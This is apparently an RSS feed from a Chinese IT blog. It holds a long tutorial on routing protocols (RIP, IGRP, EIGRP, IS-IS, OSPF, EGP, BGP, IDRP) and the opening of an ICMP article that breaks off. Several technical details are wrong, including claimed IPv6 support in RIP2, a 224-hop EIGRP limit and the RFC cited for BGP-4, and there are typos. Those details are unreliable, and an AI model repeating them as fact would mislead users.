﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-system-net-文章分类-net</title><link>http://www.cnitblog.com/system-net/category/1158.html</link><description>anything about system and net</description><language>zh-cn</language><lastBuildDate>Mon, 03 Oct 2011 11:01:28 GMT</lastBuildDate><pubDate>Mon, 03 Oct 2011 11:01:28 GMT</pubDate><ttl>60</ttl><item><title>细说路由协议</title><link>http://www.cnitblog.com/system-net/articles/20815.html</link><dc:creator>System And Net</dc:creator><author>System And Net</author><pubDate>Tue, 19 Dec 2006 11:13:00 GMT</pubDate><guid>http://www.cnitblog.com/system-net/articles/20815.html</guid><wfw:comment>http://www.cnitblog.com/system-net/comments/20815.html</wfw:comment><comments>http://www.cnitblog.com/system-net/articles/20815.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/system-net/comments/commentRss/20815.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/system-net/services/trackbacks/20815.html</trackback:ping><description><![CDATA[
		<p class="main">　　广泛应用的Internet是由众多个IP子网通过路由器互连构成的国际性网络。这种以路由器为基础的网络，形成了以路由器为节点的“网间网”。在“网间网”中，路由器不仅负责对IP分组的转发，而且还要负责与别的路由器进行联络，共同确定“网间网”的路由选择和维护路由表。</p>
		<p class="main">　　<strong>1．路由协议概念：</strong></p>
		<p class="main">　　路由器必须与相邻路由器互通信息以交换路由信息，更新维护动态路由表使之正确反映网络的拓扑结构变化，并由路由器根据量度标准来决定最佳路径,路由协议是路由器之间进行通信而采用的协议，当网络启用了路由协议，网络便具有了能够自动更新路由表的强大功能。在介绍路由协议之前让我们先了解下述概念：</p>
		<p class="main">    （1）自治域(AS,Autonomous System)： 由单个实体管理，具有统一管理机构、统一路由策略的网络。在这里单个实体,通常指单独的因特网服务提供者（ISP，Internet Service Provider）。<br />    （2）收敛（Convergence）：对于路由协议，网络上的路由器在一条路径不能使用时必须经历决定替代路径的过程，是在最佳路径的判断上所有路由器达到一致的过程。当某个网络事件引起路由可用或不可用时，路由器就发出更新信息。路由更新信息遍及整个网络，引发重新计算最佳路径，最终达到所有路由器一致公认的最佳路径。收敛慢的路由算法会造成路径循环或网络中断。<br />    （3）路由算法：路由算法在路由协议中处于起着至关重要作用的核心地位，它将收集到的不同信息填入路由表中，并最终决定寻径的结果，将目的网络与下一站的关系告诉路由器。</p>
		<p class="main">　　具体在运行过程中，路由器按照某种路由通信协议，查找路由表，路由表中列出整个互联网络中包含的各个节点，以及节点间的路径情况和与它们相联系的传输费用。如果到特定的节点有一条以上路径，则基于预先确定的准则选择最优（最经济）的路径。另外由于各种网络段和其相互连接的情况可能发生变化，因此路由情况的信息需要及时更新，这时由所使用的路由信息协议规定定时更新或者按变化情况更新来完成。网络中的每个路由器按照这一规则动态地更新它所保持的路由表，以便保持有效的路由信息。</p>
		<p class="main">　　采用何种算法往往需要综合考虑以下设计目标：</p>
		<p class="main">　　①．最优化：指路由算法选择最佳路径的能力。 <br />　　②．简洁性：算法设计简洁，利用最少的软件和开销，提供最有效的功能。 <br />　　③．坚固性：路由算法处于非正常或不可预料的环境时，如硬件故障、负载过高或操作失误时，都能正确运行。由于路由器分布在网络联接点上，所以在它们出故障时会产生严重后果。最好的路由器算法通常能够经受各种变化情况的考验，并在各种网络环境下被证实是可靠的。 <br />　　④．快速收敛：收敛是在最佳路径的判断上所有路由器达到一致的过程。当某个网络事件引起路由可用或不可用时，路由器就发出更新信息。路由更新信息遍及整个网络，引发重新计算最佳路径，最终达到所有路由器一致公认的最佳路径。收敛慢的路由算法会造成路径循环或网络中断。<br />　　⑤．灵活性：路由算法可以快速、准确地适应各种网络环境。例如，某个网段发生故障，路由算法要能很快发现故障，并为使用该网段的所有路由选择另一条最佳路径。 </p>
		<p class="main">　　路由算法按照种类可分为以下几种：静态和动态、单路和多路、平等和分级、源路由和透明路由、域内和域间、链路状态和距离向量。下面重点介绍链路状态和距离向量算法。</p>
		<p class="main">　　①．距离向量算法：距离向量算法也称为Bellman-Ford算法，以经过的路由数即跳数（hop）大小，确定最佳路径。要求每个路由器周期性发送其路由表全部或部分信息（仅发送到邻近结点上），来维护路由器路由表。</p>
		<p class="main">　　②．链路状态算法：链路状态算法也称最短路径算法、接口状态算法，以创建该算法的人来命名，也称为Dijkstra算法，根据路由器接口状态，确定最佳路径。当路由器启动或网络结构发生变化时发送链路状态通告到互联网上所有的结点，一旦路由器收到所有的链路状态通告，每一个路由器将会对区域中的网络拓扑结构有一个完整的观察，以自己为根生成一个树，并且有着到达任一个目的网络或主机的完整道路，一个路由器对拓朴结构的观察将不同于其它的路由器，每个路由器把它自己作为树的根，形成自己的路由表。对于每个路由器，仅发送它的路由表中描述了其自身链路状态的那一部分。</p>
		<p class="main">　　从本质上来说，链路状态算法将少量更新信息发送至网络各处，而距离向量算法发送大量更新信息至邻接路由器。由于链路状态算法收敛更快，它在一定程度上比距离向量算法更不易产生路由循环。但另一方面，链路状态算法要求比距离向量算法有更强的CPU能力和更多的内存空间。<br />但两种算法可以结合使用，互补不足。</p>
		<p class="main">　　路由算法使用了许多种不同的度量标准去决定最佳路径。复杂的路由算法往往采用多种度量来选择路由，通过的加权运算，合并为单个的复合度量、填入路由表，作为寻径的标准。通常所使用的度量有：路径长度、可靠性、时延、带宽、负载、最大传输单元和通信成本等。</p>
		<p class="main">　　根据是否在一个自治域内部使用，动态路由协议分为内部网关协议（IGP，Internal Gateway Protocol）和外部网关协议（EGP，External Gateway Protocol）。常用路由协议（见表１），下面分别进行简要介绍。</p>
		<p align="center">
				<img src="http://tech.csai.cn/net/images/20064206308.jpg" />
				<br />表１<br /></p>
		<p class="main">　　<strong>2．内部网关协议（IGP，Internal Gateway Protocol）：</strong></p>
		<p class="main">　　通常只能自治域内部采用的路由选择协议称为内部网关协议，常用的有路由信息协议（RIP，Routing Information Protocol）、开放式最短路优先（OSPF，Open Shortest Path First）、内部网关路由协议（IGRP，Interior　Gateway　Ronting　Protocol）、增强内部网关路由协议（EIGRP，Enhanced　Interior　Gateway　Ronting　Protocol）以及中间系统到中间系统路由交换协议（IS-IS，Intermediate System to Intermediate System ）等等。适用于单个ISP（自治系统）的统一路由协议的运行，由一个ISP运营的网络称为一个自治系统。</p>
		<p class="main">　　（1）路由信息协议（RIP，Routing Information Protocol）：</p>
		<p class="main">　　于1970年，美国Xerox（施乐）公司首先开发出RIP路由协议，它作为NXS（Xerox Networking Services）协议族的一部分，为Xerox网络系统的Xerox parc通用协议而设计的，是一个用于网关（路由器）和主机间交换路由信息的距离向量协议。RIP应用了基于Bellham-Ford（距离向量）算法，首先被4BSD UNIX上的Berkeley分布路由软件广泛使用，应用TCP/IP协议用RIP给本地网络上的机器提供路径选择和可达信息，后来用RIP提供广域网的路由信息，一直是一种被广泛应用于同构网络的内部网关协议（IGP）。支持最大跳数为15。在1988年被标准化在RFC1058中，是应用较早、使用较普遍、最简单的的内部网关协议，适用于小型同构网络，是典型的距离向量(distance-vector)协议。 </p>
		<p class="main">　　RIP用更新（UNPDATES）和请求（REOUESTS）两种分组传输路由信息。更新信息用于广播路由表，其中每一项由两部分组成：局域网上能达到的IP地址和与该网络的距离。请求信息用于寻找网络上能发出RIP报文的其他设备。</p>
		<p class="main">　　RIP 使用UDP作为它的传输协议，端口是520。通过广播报文来交换路由信息，主要传递路由信息（路由表）来广播路由。每隔30秒，广播一次路由表，维护相邻路由器的关系，同时根据收到的路由表计算自己的路由表。在每30秒发送一次路由信息更新时。RIP提供跳跃计数(hop count)作为尺度来衡量路由距离，跳跃计数是一个包到达目标所必须经过的路由器的数目。使用距离来决定最佳路径，如通过路由跳数来衡量。到这个路由器具有最低跳数的路径是被选中的路径。如果首选的路径不能正常工作，那么具有较高跳数的路径被作为备份。除到达目的地的最佳路径外，任何其它信息均予以丢弃。同时路由器也把所收集的路由信息用RIP协议通知相邻的其它路由器。这样，正确的路由信息逐渐扩散到了全网。</p>
		<p class="main">　　其优点是：它简单、可靠，便于配置，障碍修复非常容易。</p>
		<p class="main">　　其缺点是：<br />　　①．没有子网地址的概念，无法区分子网号；RIP协议的原始版本不能应用可变长子网屏蔽（VLSM，Variable Length Subnet Masks），因此不能分割地址空间以最大效率地应用有限的IP地址。<br />　　②．路由度量忽略了吞吐率、往返时间、可靠性、实际距离、通信延迟、网络速度及带宽等一些应该考虑的因素或性能。如果到相同目标有二个不等速或不同带宽的路由器，但跳跃计数相同，则RIP认为两个路由是等距离的。RIP协议的另一个基本问题是，当选择路径时它忽略了连接速度问题。例如，如果一条由所有快速以太网连接组成的路径比包含一个10Mbps以太网连接的路径远一个跳数，具有较慢10Mbps以太网连接的路径将被选定作为最佳路径。<br />　　③．支持网络大小有限，只适用于小型网络。RIP最多支持的跳数为15，即在源和目的网间所要经过的最多路由器的数目为15，跳数16表示不可达。假定如果从网络的一个终端到另一个终端的路由跳超过15个，那么就认为一定牵涉到了循环。因此当一个路径达到16跳，将被认为是达不到的。对于规模较大的网络，或具有多余路径的网络，应该考虑使用其它路由协议。<br />　　④．而且RIP每隔30秒一次的路由信息广播也是造成网络的广播风暴的重要原因之一。</p>
		<p class="main">　　于1993年，RIP2是在RFC1388中对RIP定义进行完善扩充而产生的第二版本，它支持IPv6（Internet Protocol Version 6）规范的128位地址；通过引入子网屏蔽与每一路由广播信息一起使用实现了对可变长子网掩码（VLSM，Variable Length Subnet Masks）的支持；除广播外还增加了多播功能，可以减少不收听报文的主机负载；提供简单的鉴别机制以及路由汇总功能。</p>
		<p class="main">　　RIP2没有能弥补该协议的主要缺陷：收敛慢。</p>
		<p class="main">　　在有多重路径到相同目标的网络中，RIP确定使用一条可选择的路径将花费许多时间。在RIP协议认识到路径不能达到前，它被设为等待，直到它已错过6次更新，总共180秒时间。然后，在使用新路径更新路由表前，它等待另一个可行路径的下一个信息的到来。这意味着在备份路径被使用前至少经过了3分钟，这对于多数应用程序超时是相当长的时间。</p>
		<p class="main">　　（2）内部网关路由协议（IGRP，Interior　Gateway　Ronting　Protocol）：</p>
		<p class="main">　　于1986年，美国著名路由器生产公司Cisco（思科）公司开发了内部网关路由选择协议（IGRP），它是Cisco专有的距离向量路由选择协议，严格地讲，它以距离向量路由传输机制为根本，并对此进行加强，是一种动态距离向量路由协议，致力于解决RIP协议的不足。</p>
		<p class="main">　　IGRP即不使用TCP，也不使用UDP作为它的传输协议，在IP首部的协议（Protocol）字段，有其单独的值9。采用周期性广播路由表的方式维护路由信息，它每90秒发送一次路由更新广播，在3个更新周期内(即270秒)，没有从路由中的第一个路由器接收到更新，则宣布路由不可访问。在7个更新周期即630秒后，Cisco IOS 软件从路由表中清除路由。</p>
		<p class="main">　　其优点是：<br />　　①．扩大了网络应用的规模。虽然RIP在小型同构网络上工作得相当好，但它的跳数小（16）的特点严重限制了网络的大小，IGRP通过使网络跳数增加到255跳,能够满足较大网络规模的应用。<br />　　②．提高了在复杂网络环境下路由选择的弹性。使用组合用户配置尺度，包括网络延迟、带宽、链路可靠性和负载4种度量。避免了并且单一的度量（跳数）不能给复杂网络提供有弹性的路由选择。<br />　　③．减少了因网络上的不一致带来的路由选择环路的可能性。RIP路由协议存在环路问题，路由器不知道网络的全局情况，必须依靠相邻路由器来获取网络的可达信息。由于路由选择更新信息在网络上传播慢，距离向量路由选择协议有一个收敛慢问题，这个问题有时将导致不一致性产主。IGRP使用水平分割、破坏逆转更新、保持计数器和触发更新机制有效控制了路由选择环路的产生。</p>
		<p class="main">　　其缺点是：不支持可变长子网掩码（VLSM），在网络拓扑结构发生变化时，需要大量的CPU、存储器和带宽资源。</p>
		<p class="main">　　（3）增强内部网关路由协议（EIGRP，Enhanced　Interior　Gateway　Ronting　Protocol）：</p>
		<p class="main">　　于1994年，Cisco（思科）公司随IOS 9.21发布了加强型内部网关路由协议（EIGRP），它是一个先进的距离向量路由协议，采用散播更新算法（DUAL，Diffusing Update ALgorithm）和链路状态路由协议相结合的方式，致力于解决传统的距离向量和链路状态协议的局限，虽属于距离向量协议的范围，同时也拥有链路状态协议的许多特征。支持最大跳数为224。</p>
		<p class="main">　　传统的距离向量协议如RIP向所有连接的邻居转发路由更新，这些邻居再依次更新它的邻居。这种路由信息的逐跳式传播产主了较大的收敛次数和循环的拓扑问题。链路状态协议（如OSPF）对传统的距离向量协议进行了替代。链路状态协议的问题是它通过重复覆盖整个区域中的拓扑信息来解决传统的距离向量协议的收敛问题。在大型网络中这种重复很不理想而且对CPU的利用率有很大的影响（因为需要运行SPF计算数目）。</p>
		<p class="main">　　EIGRP即不使用TCP，也不使用UDP作为它的传输协议，在IP首部的协议（Protocol）字段，有其单独的值88。与OSPF协议一样，EIGRP路由器寻找它们的邻接路由器并交换“hello”数据包。EIGRP协议每隔5秒传送“hello”数据包（或者在低速NBMA网络中每60秒发送一次）。如果失败3次，邻接路由器则被认为是宕机状态，替代的路径将被使用。Hello包使得路由器动态地快速地发现邻居的消失。如果在保持计数器超期之前还没有从它邻居路由器处收到Hello包，那么这个邻居就被宣布取消。此时邻居邻接被删除，并且所有与那个邻屠相连的路径被取消。</p>
		<p class="main">　　拓扑表包括路由器和它邻居到达目的端的度量。散射更新算法（DUAL）使用拓扑表来寻找到达每个目的端的最低度量非环道路。这个具有最小成本道路的下跳路由器被指定为后继，并且它是路由表中下一跳IP地址。DUAL算法也会去寻找一个可行性后继（或者下一个最优路径），它被存储在拓扑数据库中。</p>
		<p class="main">　　如果路由器失去了它的后继，并且有一个可利用的可行性后继就不须要重新计算。路由器就使可行性后继成为后继，并向路由表中加入一条新路径，使自己处于被动状态。如果没有可利用的可行性后继，则路由器进入目的端网络的主动状态，同时需要重新计算路径。</p>
		<p class="main">　　当路由器处于主动状态，路由器向所有EIGRP接口发出查询包（除了后继驻留的接口），并询问邻居是否有一条到所给目的端的路径。邻居回答，并向发送者通知它们有或没有一条到达目的端的路径。一旦收到所有的回答，路由器就会计算一条新的后继。如收到查询包的邻居利用发送者去到达目的端网络（作为它的后继），这个邻居就会查询它所有的邻居来寻找一条到达目的端的路径。被查询的邻居经过同样的过程，来生成一个向下的涉及整个网络的查询来寻找一条到达目的端的道路。只要EIGRP有一个可行性后继，就不需要重计算。这条情况使路由器不必使用CPU时钟，还能加速收敛。不受拓扑变化影响的路由器不需重新计算。</p>
		<p class="main">　　其优点是：<br />　　①．迅速广播链路状态的变化。当本地路由器的链路状态发生变化，在新信息基础上它将重新计算拓扑结构表。OSPF协议此时将立即向网络中的每个路由器广播链路状态的变化，而EIGRP协议将仅仅涉及到被这些变化直接影响的路由器。这使带宽和CPU资源的利用效率更高。同时，由于EIGRP协议使用了不到50%的带宽，使得在低带宽WAN链路上具有很大优势。<br />　　②．链路状态度量更完善。EIGRP度量值是一个32位数，使用链路的带宽、延迟、可靠性、存放、跳数和最大传输单元（MTU，Maximum Transmission Unit）共6种不同特征以及可配置的K值来计算，提供有弹性较大的路由选择。<br />　　③．支持多种网络协议，减少了因网络上的不一致带来的路由选择环路的可能性。EIGRP协议支持Novell/IPX、Apple Talk和IP环境。如果网络正在运行的是IGRP协议，那么转换到EIGRP协议比转换到OSPF协议要容易的多。</p>
		<p class="main">　　其缺点是：没有标准化。同样也存在收敛慢的问题。</p>
		<p class="main">　　（4）中间系统到中间系统路由交换协议（IS-IS，Intermediate System to Intermediate System ）：</p>
		<p class="main">　　ISO IS-IS协议是OSI的标准内部网关协议（IGP），它是链路状态路由协议，严格地讲是一个分级的链接状态路由协议。采用DECnet PhaseV路由算法。使用Hello协议寻找毗邻节点，使用一个传播协议发送链接信息，类似OSPF协议。</p>
		<p class="main">　　IS-IS协议把网络进行分级管理，把任何没有路由功能的网络节点称为终端系统（ES）；而路由器定义为中间系统（IS）。ES和IS之间采用ES-IS（ISO9542）协议，允许ES和IS之间相互发现。IS和IS之间采用IS-IS协议，IS-IS提供IS之间的路由。结合起来形成OSI协议的基础。</p>
		<p class="main">　　由中间系统（路由器）连接起来的一系列终端系统叫区域，它处于最低一级。将多个区域互联起来称为路由域。每个路由域是一个独立的管理区域，与AS类似。分两级路由：区域内的站点路由（第一级）和区域间的区域路由（第二级）。也就是说，第一级路由器形成第一级区域，而第二级路由器在第一级区域之间形成一个路由域内部的路由骨干。第一级路由器只需要具有如何到达最近的第二级路由器的信息，就可以进行区域间的通信。</p>
		<p class="main">　　在IS-IS路由中，每个ES都位于一个指定的区域内，ES通过接听IS hello包，获得最近的路由器（IS）的信息。当一个ES需要向另一个ES发送数据时，它首先将包发送给网络中与它直接相连的一个路由器。然后路由器确定包的目的地址，使用最佳路径路由此包。如果目的ES在同一子网上，或是在相同区域中的另外一个子网上，那么本地路由器将相应地转发包。如果目的ES位于另一个区域中，那么第一级路由器将把包转发给最近的第二级路由器。在通过了连续的第二级路由器之后，该包将到达目的区域中的第二级路由器。在目的区域中，路由器通过最佳路径传送包，直到包到达目的ES为止。</p>
		<p class="main">　　路径的长度等于链路的合计值，链路可以具有的最大值为64，路径的最大值为1024。IS-IS使用一个缺省度量值，该度量值可以是任意的，另外还指定三种其他的可选度量值：延时代价、花费代价（通信费用）和错误代价（差错率）。</p>
		<p class="main">　　其优点是：<br />　　①．ES-IS可以支持三种不同类型的子网：点到点子网（如HDLC）、广播子网（如以太网）和普通拓扑结构子网（如X.25）。<br />　　②．IS-IS可以在不同的子网上操作，包括广播型的LAN、WAN和点到点链路<br />　　③．链路状态度量较完善。</p>
		<p class="main">　　其缺点是：<br />　　①．IS-IS使用一个小的度量值（6比特），严重限制了能与它进行转换的信息。<br />　　②．链接状态只有8比特长，路由器通告的记录限制为256个。<br />　　③．IS-IS受OSI约束，使得与OSPF相比发展比较缓慢。</p>
		<p class="main">　　（5）开放式最短路优先路由信息协议（OSPF，Open Shortest Path First）：</p>
		<p class="main">　　于1988年，网间工程任务组织（IETF，Internet Engineering Task Framework）成立了内部网关协议工作组，专门设计用于因特网的基于最短路径优先（SPF）算法的IGP。在此前多项研究结果的基础上开发出开放式最短路优先路由信息协议（OSPF），诸如1978年Bolt、Beranek、Newman(BBN)为ARPANET开发的SPF算法，1988年Dr.Radia Perlman对路由信息容错性广播的研究成果等等。</p>
		<p class="main">　　开放式最短路径优先协议（OSPF）是一种链路状态路由选择协议，链路是路由器接口的另一称法，因此也称为接口状态路由协议。采用Dijkstra算法，路由选择的变化基于网络中路由器物理连接的状态与速度，并且变化被立即广播到网络中的每一个路由器。它被用于单个自治系统来分发路由选择信息。</p>
		<p class="main">　　作为链接状态路由协议，OSPF与RIP和IGRP这些距离向量路由协议是不同的。使用距离向量算法的路由器的工作模式是在路由更新信息中把路由表全部或部分发送给其相邻的路由器。</p>
		<p class="main">　　而OSPF用链路状态算法来计算在每个区域中到所有目的的最短路径时，只有当一个路由器第一次被激活或者任一个路由变化发生，这个配备给OSPF的路由器使用OSPF的“hello协议”来发现与它连接的邻节点，将链路状态通告（LSA，Link State Advertisement）扩散到同一级区域内所有路由器，这些LSA包含这个路由器的接口的状态（包括与上、下、IP地址、网络类型筹）和路由器和它邻居间的联系，从这些LSA的收集中形成了链路状态数据库，在这个区域中的所有路由器都有一个特定的数据库,它由每个接口、对应邻节点和接口速度组成，被用来描述这个区域的拓扑结构。这个路由器于是就运行Diskjtra算法，这个算法根据到达这个网络的费用计算规则,利用链路状态数据库在该区域中形成以自己为根到所有目的的最短路径优先树（SPF树），从这个最短路径优先树（SPF树）中形成了IP路由表。如果网络中发主的任何改变都将会被链路状态包扩散出去，直到网络中的每个路由器收到了所有其它路由器的LSA，同时使路由器利用这些新信息，重新计算最短路径优先树（SPF树），形成新路由表。</p>
		<p class="main">　　OSPF是一种相对复杂的路由协议。</p>
		<p class="main">　　OSPF即不使用TCP，也不使用UDP作为它的传输协议，直接使用IP，在IP首部的协议（Protocol）字段，有其单独的值89。它通过传递链路状态来得到网络信息，LSA每30分钟被交换一次，除非网络拓扑结构有变化。例如，如果接口变化，信息立刻通过网络广播；如果有多余路径，收敛将重新计算SPF树。计算SPF树所需的时间取决于网络规模的大小。因为这些计算，路由器运行OSPF需要占用更多CPU资源。</p>
		<p class="main">　　于1991年，在RFC1247中对第2版OSPF进行了描述，即OSPF2，也是第一次被标准化。</p>
		<p class="main">　　其优点是：<br />　　①．首先该协议是开放的，即其规范是公开的。OSPF协议是"开放式最短路优先"的缩写。"开放"是针对当时某些厂家的"私有"路由协议而言，而正是因为协议开放性，才使得OSPF具有强大的生命力和广泛的用途。<br />　　②．OSPF能服务于大型、异构网络。为了较大型网络，并弥补OSPF协议大量占用CPU和内存资源的缺陷，将网络分成独立的层次域，称为区域（Area），每个路由器仅与它们自己区域内的其它路由器交换LSA，降低网络中的交通数量。在一个区域中的路由器都有一个特定的拓扑数据库，就像同区域中的其它路由器一样。一个多区域中的路由器有着不同的拓扑数据库，用于不同的区域，它们都与路由器相连。那些所有的接口都在同一个区域中的路由器称为内部路由器（IR，Interior Router），连接于同一自治系统中的路由器称为区域边界路由器（ABR，Area Border Router），另一种路由器充当网关的作用，从一个AS到另一个AS重分配路由信息，称为自治系统边界路由器（ASBR，Autonomous System Border Router）。相应地即有两种类型的路由选择方式：当源和目的地在同一区时，采用区内路由选择；当源和目的地在不同区时，则采用区间路由选择。这就大大减少了网络开销，并增加了网络的稳定性。当一个区内的路由器出了故障时并不影响自治域内其它区路由器的正常工作，这也给网络的管理、维护带来方便。<br />　　③．OSPF可以对每个IP服务类型计算各自的路由集。实现对于任何目的，可以有多个路由表表项，每个表项对应着一个IP服务类型。<br />　　④．给每个接口指派一个无维数的费用，可以通过吞吐率、往返时间、可靠性或其他性能来进行指派。可以给每个IP服务类型指派一个单独的费用。<br />　　⑤．当对同一个目的地址存在着多个相同费用的路由时， 可以平均分配流量。实现流量平衡。<br />　　⑥．OSPF支持子网，子网掩码与每个通告路由相连。允许将一个任何类型的IP地址分割成多个不同大小的子网（称之为变长度子网）。到一个主机的路由是通过全1子网掩码进行通告，默认路由是以IP地址为0.0.0.0网络掩码为全0进行通告的。<br />　　⑦．路由器之间的点对点链路不需要每端都有一个IP地址，实现无编号网络。节省IP地址资源。<br />　　⑧．采用一种简单鉴别机制。可以采用类似于RIP2机制的方法指定一个明文口令。<br />　　⑨．OSPF采用多播，而不是广播形式，以减少不参与OSPF的系统负载。</p>
		<p class="main">　　（6）其它内部网关协议：</p>
		<p class="main">　　除了上述经常使用的路由协议外，在工作中我们还会遇到其它一些路由协议：</p>
		<p class="main">　　AppleTalk路由表维护协议（RTMP）、Banyan VINES路由表协议（RIP）是基于IP版的RIP的变种。</p>
		<p class="main">　　ICMP路由器发现协议（IRDP，ICMP Router Discovery Protocol）是Internet控制消息协议（ICMP，Internet Control Message Protocol）的一个扩展，它使得主机能够动态地发现缺省网关路由器的IP地址。在一个多路由器的环境下，IRDP还使得主机能够检测和纠正由于网关故障产生的错误。IRDP在RFCI256中定义，它为主机提供自动配置路由器地址的功能，与动态主机配置协议（DHCP）类似。IRDP独立于任何其他的路由协议，它包括路由器发起的广播消息（路由器通告）和主机发起的查询消息（路由器寻找）。由于当存在多条路径时IRDP并不能提供理想的选择，如果主机选择了一个不好的通向特定目的地的第一跳路由器，那么被选择的设备将发送回一个ICMP重定向报文，指明一条更好的路径。</p>
		<p class="main">　　网关发现协议（GDP，Gateway Discovery Protocol）是由Cisco公司开发的一套协议，它是更标准化的、更严格的ICMP路由器发现协议（IRDP，ICMP Router  Discovery Protocol，IRDP）的前导协议，与IRDP不同，GDP是基于UDP协议的，使用的缺省端口值为1997。GDP使得主机能够动态地监测与其直接相连的网络上的路由器的到来。一个给定的网络中可能有多个路由器，主机选择其中的一个或多个来传输流量。主机可以通过发现路由器不能定期进行通告来发现路由器故障，并做相应的补偿。<br /><br /></p>
		<p class="main">　　<strong>3．外部网关协议（EGP，External Gateway Protocol）：</strong></p>
		<p class="main">　　外部网关协议主要用于多个自治域之间的路由选择，常用的边界网关协议（BGP ，Border Gateway Protocol，）、域间路由协议（IDRP，Internal Domain Routing Protocol）等是自治系统间的路由协议，是一种外部网关协议。</p>
		<p class="main">　　一般说来，整个互联网并不适合运行单一的路由协议，因为各ISP有自己的利益，不愿意提供自身网络详细的路由信息。为了保证各ISP利益，标准化组织制定了ISP间的路由协议BGP。</p>
		<p class="main">　　（1）外部网关协议（EGP，External Gateway Protocol）：</p>
		<p class="main">　　外部网关协议（EGP）是专门为ARPANET（Advanced Research Propject Agency Network）开发的协议，是一个动态路由协议，也是第一个外部网关协议（EGP），它在Internet上得到了广泛使用。</p>
		<p class="main">　　EGP即不使用TCP，也不使用UDP作为它的传输协议，在IP首部的协议（Protocol）字段，有其单独的值8。运行EGP的路由器建立一系列的邻接关系，所有邻站都是一些EGP路由器，它们之间共享网络可达信息，但并不表示它们在地理位置上也是邻接的。EGP路由器轮询邻站，以确定它们是否还在工作。发送更新报文，其中包括自治系统中可达的网络信息。EGP更新报文的内容是网络可达信息，指明通过一定的路由器可以到达哪个网络。</p>
		<p class="main">　　EGP协议设计十分简单。它没有使用度量值，无法进行智能化的路由选择。随着Internet的发展和成熟，EGP已经被Internet所淘汰。取而代之的是边界网关协议（BGP）和域间路由协议（IDRP）。</p>
		<p class="main">　　（2）边界网关协议（BGP，Border Gateway Protocol）：</p>
		<p class="main">　　于1987年，取代ARPANET所使用的EGP协议，出现了EGP协议。内部网关协议（IGP）需要全局的信息计算路由表，诸如象RIP/RIP2、OSPF、IS-IS或IGRP/EIGRP等，都有一定的协定，只适合于那些只有单个管理员负责网络管理和运行的地方；否则，将会出现配置错误导致网络性能降低或是运行不稳定的情况。对于由许多管理员共同分担责任的网络，如Internet网络，就要考虑使用外部网关协议（EGP），BGP是为TCP／IP互联网设计的外部网关协议，用于多个自治域之间。它既不是基于纯粹的链路状态算法，也不是基于纯粹的距离向量算法。</p>
		<p class="main">　　BGP使用TCP作为它的传输协议，端口是179。通过定期发送keepalive报文给其邻接站点，检测TCP连接对端的链路状况，时间间隔建议值为30秒。BGP更新信息包括网络号／自治域路径的成对信息。自治域路径包括到达某个特定网络须经过的自治域串，采用16bit数字表示自治域标识，这些更新信息通过TCP传送出去，以保证传输的可靠性。BGP通过ISP边界的路由器加上一定的策略，选择过滤路由，把RIP、OSPF、BGP等的路由发送到对方。它的主要功能是与其它自治域的BGP交换网络可达信息。各个自治域可以运行不同的内部网关协议。</p>
		<p class="main">　　于1993年，在[RFC1467]中定义了第4版的BGP协议，在最新的BGP4中，可以将相似路由合并为一条路由。</p>
		<p class="main">　　其优点是：<br />　　①．扩大了网络规模。如果网络是只有一个路由器的小型网络，完全可以通过静态路由手动地更新路由表，不需要使用路由协议；而当网络中仅有一个ISP，它具有多个路由器时，就要使用内部网关协议（IGP）；只有当网络中包含多个ISP及其众多路由器时，将有必要让它们去共享信息，使用外部网关协议（EGP）。BGP协议的出现，引起了互联网的重大变革，它把众多ISP有机的连接起来，真正成为全球范围内的网络。<br />　　②．有丰富的路由策略，允许使用基于策略的路由选择。处理各ISP之间的路由传递时，网络管理员可以通过配置文件制订与政治、经济或安全因素有关的策略，在存在的多个可选路径中选择路由，并控制信息的重新发送，而策略本身并不是协议的组成部分。<br />　　③．应用范围广泛。尽管BGP协议是被设计用于自治系统间的（EBGP），但BGP协议也常在AS内部使用（IBGP），以在对其他自治系统运行EBGP的边界路由器间传递信息。</p>
		<p class="main">　　其缺点是：协议配置复杂。BGP一般运行在相对核心的地位，如果出现错误，可能造成很大的损失。网络管理员需要对用户需求、网络现状和BGP协议非常熟悉，还需要非常谨慎小心。</p>
		<p class="main">　　（3）域间路由协议（IDRP，Internal Domain Routing Protocol）：</p>
		<p class="main">　　域间路由协议（IDRP，Internal Domain Routing Protocol）是一个为了使用OSI地址而不是IP地址，而进行修改的BGP版本。</p>
<img src ="http://www.cnitblog.com/system-net/aggbug/20815.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/system-net/" target="_blank">System And Net</a> 2006-12-19 19:13 <a href="http://www.cnitblog.com/system-net/articles/20815.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>网络管理之ICMP协议篇</title><link>http://www.cnitblog.com/system-net/articles/18661.html</link><dc:creator>System And Net</dc:creator><author>System And Net</author><pubDate>Tue, 31 Oct 2006 07:36:00 GMT</pubDate><guid>http://www.cnitblog.com/system-net/articles/18661.html</guid><wfw:comment>http://www.cnitblog.com/system-net/comments/18661.html</wfw:comment><comments>http://www.cnitblog.com/system-net/articles/18661.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/system-net/comments/commentRss/18661.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/system-net/services/trackbacks/18661.html</trackback:ping><description><![CDATA[　对TCP/IP协议你一定非常熟悉，但是对ICMP协议你可能就一无所知了。ICMP协议是一个非常重要的协议，它对于网络安全具有极其重要的意义。下面我们就来谈谈ICMP协议。<br /><br />　　<b>什么是ICMP协议</b><br /><br /><br />　　ICMP是“Internet Control Message Protocol”（Internet控制消息协议）的缩写。它是TCP/IP协议族的一个子协议，用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据，但是对于用户数据的传递起着重要的作用。<br /><br />　　我们在网络中经常会使用到ICMP协议，只不过我们觉察不到而已。比如我们经常使用的用于检查网络通不通的Ping命令，这个“Ping”的过程实际上就是ICMP协议工作的过程。还有其他的网络命令如跟踪路由的Tracert命令也是基于ICMP协议的。<br /><br /><br />　　<b>ICMP的重要性</b><br /><br /><br />　　